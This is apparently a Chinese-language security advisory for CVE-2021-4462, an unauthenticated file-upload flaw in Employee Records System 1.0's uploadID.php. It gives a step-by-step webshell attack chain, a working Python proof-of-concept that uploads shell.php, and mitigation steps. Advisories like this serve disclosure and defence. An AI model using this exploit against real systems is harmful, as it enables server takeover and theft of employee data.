IPBUF安全漏洞报告
English
CVE-2021-4462 CVSS 9.8 严重

CVE-2021-4462 Employee Records System无限制文件上传远程代码执行漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2021-4462
漏洞类型
无限制文件上传/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Employee Records System 1.0

相关标签

无限制文件上传远程代码执行CVE-2021-4462Employee Records SystemwebshelluploadID.phpCVSS 9.8严重漏洞

漏洞概述

CVE-2021-4462是发生在Employee Records System 1.0版本中的一个严重安全漏洞。该漏洞为无限制文件上传(Unrestricted File Upload)类型,CVSS评分高达9.8分,属于严重(CRITICAL)级别。漏洞存在于应用的uploadID.php端点,攻击者可以在无需任何认证的情况下,通过该端点上传任意类型的文件到服务器。由于应用程序缺乏有效的服务器端验证机制,上传的文件不会被安全过滤,攻击者可以上传恶意脚本文件(如PHP webshell)并直接执行,从而实现远程代码执行(RCE)。根据Shadowserver Foundation的监测数据,该漏洞的实际利用活动始于2025年2月6日,表明该漏洞已在野被积极利用。由于该系统通常部署在企业内部环境中,攻击者成功利用此漏洞后,可以完全控制目标服务器,窃取敏感的员工数据、企业机密信息,甚至进一步横向移动攻击内网其他系统。

技术细节

漏洞根源在于Employee Records System的uploadID.php文件上传功能缺乏严格的输入验证。攻击者可以直接发送HTTP POST请求到uploadID.php端点,构造包含恶意文件的multipart/form-data数据包。由于服务器端仅检查文件是否成功接收,而未对上传文件的类型、内容、大小进行任何安全验证,攻击者可以上传任意扩展名的文件,包括.php、.phtml、.phar等可执行脚本文件。上传成功后,攻击者可以通过直接访问上传文件的URL来触发执行,从而在服务器上执行任意系统命令。例如,攻击者可以上传一个包含webshell的PHP文件,然后通过Web请求调用该shell来执行命令。由于uploadID.php本身无需任何身份验证即可访问,这使得漏洞的利用门槛极低,任何能够访问该Web应用的攻击者都可以轻松利用此漏洞获取服务器控制权。

攻击链分析

STEP 1
步骤1
探测目标:攻击者首先识别目标服务器上运行的Employee Records System,确认uploadID.php端点可访问
STEP 2
步骤2
制作恶意文件:攻击者准备包含webshell的PHP文件,用于在服务器上执行系统命令
STEP 3
步骤3
上传文件:构造HTTP POST请求,通过uploadID.php端点上传恶意PHP文件,无需任何身份验证
STEP 4
步骤4
获取文件路径:服务器返回上传文件的具体路径,攻击者记录该路径
STEP 5
步骤5
执行代码:攻击者通过HTTP请求访问上传的PHP文件,触发webshell执行,从而在服务器上执行任意命令
STEP 6
步骤6
持久化控制:攻击者可进一步安装后门、窃取数据或横向移动攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-4462 PoC - Employee Records System Unrestricted File Upload # Target: Employee Records System v1.0 # Endpoint: /uploadID.php def exploit(target_url, file_path): """ Exploit for CVE-2021-4462 Upload arbitrary file via uploadID.php endpoint """ upload_url = f"{target_url}/uploadID.php" # Read the file to upload with open(file_path, 'rb') as f: file_content = f.read() # Prepare the malicious file upload request files = { 'file': ('shell.php', file_content, 'application/x-php') } try: # Send the upload request without authentication response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Response: {response.text}") # The uploaded file path is typically returned in response return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_to_upload>") print(f"Example: python {sys.argv[0]} http://vulnerable.com shell.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)

影响范围

Employee Records System 1.0

防御指南

临时缓解措施
在厂商发布修复补丁之前,可采取以下临时缓解措施:1)通过Web服务器配置(如.htaccess或nginx配置)禁止upload目录中的脚本执行权限;2)使用WAF(Web应用防火墙)对uploadID.php端点进行访问控制,限制只有授权用户可访问;3)暂时禁用文件上传功能,直到漏洞被修复;4)实施网络层隔离,限制对该应用的外部访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表